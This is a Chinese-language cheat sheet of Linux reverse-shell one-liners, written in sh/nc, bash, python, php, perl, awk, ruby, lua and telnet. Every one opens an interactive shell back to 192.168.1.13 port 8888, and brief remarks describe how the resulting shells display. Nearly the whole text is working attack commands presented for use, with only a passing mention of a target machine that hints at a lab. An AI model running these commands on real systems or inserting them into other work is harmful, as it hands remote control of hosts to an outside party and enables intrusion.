linux下反弹shell常用的一些方式收集
1、通过sh/bash和nc联合使用反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.13 8888 >/tmp/f
2、python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.13",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3、php
php -r '$sock=fsockopen("192.168.1.13",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
4、perl
perl -e 'use Socket;$i="192.168.1.13";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
5、awk
awk 'BEGIN{s="/inet/tcp/0/192.168.1.13/8888";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
awk反弹的没有用户操作符$或者#号,下面示例图:
6、ruby
ruby -rsocket -e'f=TCPSocket.open("192.168.1.13",8888).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
7、lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.1.13','8888');os.execute('/bin/sh -i <&3 >&3 2>&3');
8、mknod + telnet
mknod backpipe p && telnet 192.168.1.13 8888 0<backpipe | /bin/bash 1>backpipe
返回的shell不带用户操作符,并且可能由于靶机问题,会有一些提示,但不影响
9、bash
bash -i >& /dev/tcp/192.168.1.13/8888 0>&1
10、python
python -c 'import pty;pty.spawn("/bin/bash")'
11、nc直接反弹
nc -e /bin/bash 192.168.1.13 8888